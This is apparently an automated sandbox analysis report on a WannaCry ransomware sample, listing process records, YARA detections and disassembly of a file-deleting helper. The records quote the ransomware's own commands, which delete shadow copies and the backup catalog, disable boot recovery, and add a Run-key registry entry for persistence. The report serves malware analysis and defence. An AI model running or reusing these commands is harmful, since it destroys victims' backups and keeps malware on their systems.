                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                                                                                                                        Imagebase:0xbb0000
                                                                                                                        File size:236'544 bytes
                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:26
                                                                                                                        Start time:14:48:26
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                        Wow64 process (32bit):false
                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        Imagebase:0x7ff7a55c0000
                                                                                                                        File size:875'008 bytes
                                                                                                                        MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:27
                                                                                                                        Start time:14:48:26
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\SysWOW64\wbem\WMIC.exe
                                                                                                                        Wow64 process (32bit):true
                                                                                                                        Commandline:wmic shadowcopy delete
                                                                                                                        Imagebase:0xa10000
                                                                                                                        File size:393'216 bytes
                                                                                                                        MD5 hash:82BB8430531876FBF5266E53460A393E
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:30
                                                                                                                        Start time:14:48:33
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\taskse.exe
                                                                                                                        Wow64 process (32bit):false
                                                                                                                        Commandline:taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        Imagebase:0x400000
                                                                                                                        File size:20'480 bytes
                                                                                                                        MD5 hash:8495400F199AC77853C53B5A3F278F3E
                                                                                                                        Has elevated privileges:true
                                                                                                                        Has administrator privileges:true
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Antivirus matches:
                                                                                                                        • Detection: 89%, ReversingLabs
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:31
                                                                                                                        Start time:14:48:33
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:@WanaDecryptor@.exe
                                                                                                                        Imagebase:
                                                                                                                        File size:245'760 bytes
                                                                                                                        MD5 hash:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Yara matches:
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 0000001F.00000002.6584228178.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:32
                                                                                                                        Start time:14:48:33
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
                                                                                                                        Imagebase:
                                                                                                                        File size:236'544 bytes
                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:33
                                                                                                                        Start time:14:48:33
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        Imagebase:
                                                                                                                        File size:875'008 bytes
                                                                                                                        MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:34
                                                                                                                        Start time:14:48:33
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Windows\SysWOW64\reg.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
                                                                                                                        Imagebase:
                                                                                                                        File size:59'392 bytes
                                                                                                                        MD5 hash:CDD462E86EC0F20DE2A1D781928B1B0C
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:35
                                                                                                                        Start time:14:48:34
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:taskdl.exe
                                                                                                                        Imagebase:
                                                                                                                        File size:20'480 bytes
                                                                                                                        MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:36
                                                                                                                        Start time:14:49:04
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\taskse.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        Imagebase:
                                                                                                                        File size:20'480 bytes
                                                                                                                        MD5 hash:8495400F199AC77853C53B5A3F278F3E
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:37
                                                                                                                        Start time:14:49:04
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:@WanaDecryptor@.exe
                                                                                                                        Imagebase:
                                                                                                                        File size:245'760 bytes
                                                                                                                        MD5 hash:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Yara matches:
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000025.00000002.3056893573.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:38
                                                                                                                        Start time:14:49:04
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:taskdl.exe
                                                                                                                        Imagebase:
                                                                                                                        File size:20'480 bytes
                                                                                                                        MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:39
                                                                                                                        Start time:14:49:34
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\taskse.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:taskse.exe C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        Imagebase:
                                                                                                                        File size:20'480 bytes
                                                                                                                        MD5 hash:8495400F199AC77853C53B5A3F278F3E
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Has exited:false

                                                                                                                        General

                                                                                                                        Target ID:40
                                                                                                                        Start time:14:49:34
                                                                                                                        Start date:08/01/2025
                                                                                                                        Path:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        Wow64 process (32bit):
                                                                                                                        Commandline:
                                                                                                                        Imagebase:
                                                                                                                        File size:245'760 bytes
                                                                                                                        MD5 hash:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                        Has elevated privileges:
                                                                                                                        Has administrator privileges:
                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                        Yara matches:
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000028.00000002.3358141473.000000000041F000.00000008.00000001.01000000.00000008.sdmp, Author: Joe Security
                                                                                                                        Has exited:false

                                                                                                                        Disassembly

                                                                                                                        Reset < >

                                                                                                                          Execution Graph

                                                                                                                          Execution Coverage:24.8%
                                                                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                                                                          Signature Coverage:20.2%
                                                                                                                          Total number of Nodes:94
                                                                                                                          Total number of Limit Nodes:1
                                                                                                                          execution_graph 315 401360 316 4013a7 315->316 320 401372 315->320 322 4018d0 free 316->322 318 4013b0 320->316 321 4018d0 free 320->321 321->320 322->318 212 4018f6 __set_app_type __p__fmode __p__commode 213 401965 212->213 214 401979 213->214 215 40196d __setusermatherr 213->215 224 401a66 _controlfp 214->224 215->214 217 40197e _initterm __getmainargs _initterm 218 4019d2 GetStartupInfoA 217->218 220 401a06 GetModuleHandleA 218->220 225 4012c0 GetLogicalDrives 220->225 224->217 226 4012e0 225->226 227 401305 GetDriveTypeW 226->227 228 401324 exit _XcptFilter 226->228 231 401080 226->231 227->226 255 401000 GetWindowsDirectoryW 231->255 233 4010d5 swprintf FindFirstFileW 234 40114a 233->234 241 401114 233->241 235 40114e swprintf ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 234->235 237 40119e 235->237 242 4011ae ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 237->242 268 4013d0 237->268 239 401140 Sleep 239->226 244 401136 241->244 261 401870 241->261 242->237 243 4011d9 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N FindNextFileW 243->235 245 401204 FindClose 243->245 267 4018d0 free 244->267 251 401215 245->251 246 40124a 247 401254 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 246->247 248 401265 246->248 247->247 247->248 249 40128f 248->249 250 40127e ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 248->250 297 4018d0 free 249->297 250->249 250->250 251->246 252 401239 DeleteFileW 251->252 252->251 254 401299 254->239 256 401022 GetTempPathW wcslen 255->256 257 40105e swprintf 255->257 258 401073 256->258 259 40103e wcslen 256->259 257->258 258->233 259->258 260 40104c wcslen 259->260 260->233 262 401885 261->262 263 40187a 261->263 264 4018bb 262->264 299 4018d0 free 262->299 263->262 298 4018d0 free 263->298 264->241 267->239 269 40152b 268->269 273 4013f2 ??2@YAPAXI 268->273 282 4015e7 269->282 283 40153e 269->283 270 401677 270->243 271 401574 274 40159e 271->274 280 401690 7 API calls 271->280 272 401616 278 401629 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II 272->278 279 401647 272->279 285 401440 273->285 286 401458 273->286 274->270 275 4015b3 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II 274->275 275->275 281 4015cd 275->281 276 401690 7 API calls 276->282 277 401690 7 API calls 277->283 278->278 278->279 279->270 287 40165c ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II 279->287 280->271 281->243 282->270 282->272 282->276 283->271 283->277 285->286 300 401690 285->300 290 401690 7 API calls 286->290 295 40147e 286->295 287->270 287->287 289 4014b5 291 4014d0 289->291 292 4014bf ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 289->292 290->286 314 4018d0 free 291->314 292->291 292->292 294 401690 7 API calls 294->295 295->289 295->294 296 4014d9 296->243 297->254 298->262 299->264 301 4016c0 300->301 307 4017c4 300->307 302 4016e8 301->302 306 40175b 301->306 303 4016f4 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 302->303 304 4016ee ?_Xran@std@ 302->304 309 401705 303->309 304->303 305 4017b5 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 305->307 306->305 310 401775 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 306->310 307->285 308 401740 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 308->285 309->308 312 401721 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 309->312 311 401786 310->311 311->285 312->308 313 401737 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 312->313 313->308 314->296 323 401a48 _exit 324 401a9b ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE

                                                                                                                          Callgraph

                                                                                                                          Executed Functions

                                                                                                                          Function 00401080 Relevance: 19.7, APIs: 13, Instructions: 173fileCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00401000: GetWindowsDirectoryW.KERNEL32(00000019,00000104,762F0F00,00000019,004010D5,?,?,762F0F00,00000019,762F3300,00000000), ref: 0040100C
                                                                                                                            • Part of subcall function 00401000: GetTempPathW.KERNEL32(00000104,00000019), ref: 00401028
                                                                                                                            • Part of subcall function 00401000: wcslen.MSVCRT ref: 00401035
                                                                                                                            • Part of subcall function 00401000: wcslen.MSVCRT ref: 0040103F
                                                                                                                            • Part of subcall function 00401000: wcslen.MSVCRT ref: 0040104D
                                                                                                                          • swprintf.MSVCRT(?,00403040,?,00403050,762F3300,00000000), ref: 004010F5
                                                                                                                          • FindFirstFileW.KERNELBASE(?,?), ref: 00401107
                                                                                                                          • swprintf.MSVCRT(?,00403034,?,?), ref: 00401168
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000), ref: 00401177
                                                                                                                          • wcslen.MSVCRT ref: 00401182
                                                                                                                          • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 00401194
                                                                                                                          • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(00000000), ref: 004011B6
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 004011E7
                                                                                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 004011F6
                                                                                                                          • FindClose.KERNEL32(00000000), ref: 00401205
                                                                                                                          • DeleteFileW.KERNEL32(?), ref: 0040123A
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401258
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401282
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000006.00000002.1551583813.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000006.00000002.1551549534.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551607132.0000000000402000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551632748.0000000000404000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Tidy@?$basic_string@wcslen$FileFind$swprintf$CloseDeleteDirectoryEos@?$basic_string@FirstGrow@?$basic_string@NextPathTempWindows
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2889739147-0
                                                                                                                          • Opcode ID: d094fdb74faa2036a2288d1d3d1a61125983eed402f55e78df214a8260d1f803
                                                                                                                          • Instruction ID: c02e7cbfb6260119d7520a8cc5a4b78e5b9d8733a8a6b2d1cbf059c3021fc26b
                                                                                                                          • Opcode Fuzzy Hash: d094fdb74faa2036a2288d1d3d1a61125983eed402f55e78df214a8260d1f803
                                                                                                                          • Instruction Fuzzy Hash: E551C3716043419FD720DF64C884B9BB7E9FBC8348F044A2EF589B32D1D6789945CB5A
                                                                                                                          Function 004018F6 Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000006.00000002.1551583813.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000006.00000002.1551549534.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551607132.0000000000402000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551632748.0000000000404000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 801014965-0
                                                                                                                          • Opcode ID: 4015c31cfa7eab49e8c51e62fd741af3e0d2f81cb378811d4cbcafae977c22e0
                                                                                                                          • Instruction ID: 68ab6ae738ded19f39d0610043d4fcd1ea5deb11ceedb7bb579f538117b6dbca
                                                                                                                          • Opcode Fuzzy Hash: 4015c31cfa7eab49e8c51e62fd741af3e0d2f81cb378811d4cbcafae977c22e0
                                                                                                                          • Instruction Fuzzy Hash: 42417EB5901344EFDB209FA4DA49A6ABFB8EB09715F20023FF581B72E1D6784940CF58
                                                                                                                          Function 004012C0 Relevance: 4.5, APIs: 3, Instructions: 41sleepCOMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 58 4012c0-4012db GetLogicalDrives 59 4012e0-401303 58->59 60 401305-40130f GetDriveTypeW 59->60 61 40131e-401322 59->61 60->61 62 401311-40131c call 401080 Sleep 60->62 61->59 63 401324-40132d 61->63 62->61
                                                                                                                          APIs
                                                                                                                          • GetLogicalDrives.KERNELBASE ref: 004012C7
                                                                                                                          • GetDriveTypeW.KERNELBASE(?,?,?,?,00000000,?,0000000A), ref: 0040130A
                                                                                                                            • Part of subcall function 00401080: swprintf.MSVCRT(?,00403040,?,00403050,762F3300,00000000), ref: 004010F5
                                                                                                                            • Part of subcall function 00401080: FindFirstFileW.KERNELBASE(?,?), ref: 00401107
                                                                                                                          • Sleep.KERNELBASE(0000000A,00000000,?,0000000A), ref: 0040131C
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000006.00000002.1551583813.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000006.00000002.1551549534.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551607132.0000000000402000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551632748.0000000000404000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: DriveDrivesFileFindFirstLogicalSleepTypeswprintf
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 570308627-0
                                                                                                                          • Opcode ID: fac8c12e3c7440fa081a6b1de2581f42964eb1eb3cef597a2f435b430f1423df
                                                                                                                          • Instruction ID: 4c7b1852939095ad3804a53ba97627e403d947e7219eb0394d6b0875d80bfcc1
                                                                                                                          • Opcode Fuzzy Hash: fac8c12e3c7440fa081a6b1de2581f42964eb1eb3cef597a2f435b430f1423df
                                                                                                                          • Instruction Fuzzy Hash: D9F0C8756043044BD310DF18ED4065B77A5EB99354F00053EED45B3390D776990DC6AA

                                                                                                                          Non-executed Functions

                                                                                                                          Function 00401690 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          APIs
                                                                                                                          • ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76435320,00000000,00000000,?,?), ref: 004016EE
                                                                                                                          • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76435320,00000000,00000000,?,?), ref: 004016F6
                                                                                                                          • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 0040172D
                                                                                                                          • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 0040173A
                                                                                                                          • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00401742
                                                                                                                          • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76435320,00000000,00000000,?), ref: 00401779
                                                                                                                          • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76435320,00000000,00000000), ref: 004017BA
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000006.00000002.1551583813.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000006.00000002.1551549534.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551607132.0000000000402000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551632748.0000000000404000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2613176527-0
                                                                                                                          • Opcode ID: d8cc844e41db627e1c4436b7b7a073ec45db5ac64ec8fc819127fe6e53c62420
                                                                                                                          • Instruction ID: b735bfb2d4c14645f341b606901ad4f9af47e45cc28c7d2ea722b83d512bfbf9
                                                                                                                          • Opcode Fuzzy Hash: d8cc844e41db627e1c4436b7b7a073ec45db5ac64ec8fc819127fe6e53c62420
                                                                                                                          • Instruction Fuzzy Hash: 81410275300B008FC720DF19DAC4A6AB7E6FB89710B14897EE5569B7A0CB79AC01CB48
                                                                                                                          Function 00401000 Relevance: 9.0, APIs: 6, Instructions: 44COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
                                                                                                                          control_flow_graph 96 401000-401020 GetWindowsDirectoryW 97 401022-40103c GetTempPathW wcslen 96->97 98 40105e-401070 swprintf 96->98 99 401073-401077 97->99 100 40103e-40104a wcslen 97->100 98->99 100->99 101 40104c-40105d wcslen 100->101
                                                                                                                          APIs
                                                                                                                          • GetWindowsDirectoryW.KERNEL32(00000019,00000104,762F0F00,00000019,004010D5,?,?,762F0F00,00000019,762F3300,00000000), ref: 0040100C
                                                                                                                          • GetTempPathW.KERNEL32(00000104,00000019), ref: 00401028
                                                                                                                          • wcslen.MSVCRT ref: 00401035
                                                                                                                          • wcslen.MSVCRT ref: 0040103F
                                                                                                                          • wcslen.MSVCRT ref: 0040104D
                                                                                                                          • swprintf.MSVCRT(00000019,00403010,?,00403020), ref: 0040106A
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000006.00000002.1551583813.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                          • Associated: 00000006.00000002.1551549534.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551607132.0000000000402000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          • Associated: 00000006.00000002.1551632748.0000000000404000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_6_2_400000_taskdl.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: wcslen$DirectoryPathTempWindowsswprintf
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 30654359-0
                                                                                                                          • Opcode ID: 4e66369f8c42ca16cc11ceda3156b996b8b268552c228e5f165bda1afb4dc665
                                                                                                                          • Instruction ID: 00ede0775e497762771a1e7050bb3ecf99d0a0070f097ddb1d391ed7ba2ca3cf
                                                                                                                          • Opcode Fuzzy Hash: 4e66369f8c42ca16cc11ceda3156b996b8b268552c228e5f165bda1afb4dc665
                                                                                                                          • Instruction Fuzzy Hash: ADF0C87170122067E7206B2CBD0AE9F77A8EF85315B01403AF786B62D0D2B55A5586EE
                                                                                                                          Function 004013D0 Relevance: 7.8, APIs: 5, Instructions: 264COMMON
                                                                                                                          Download Yara Rule

                                                                                                                          Control-flow Graph

                                                                                                                          • Executed
                                                                                                                          • Not Executed
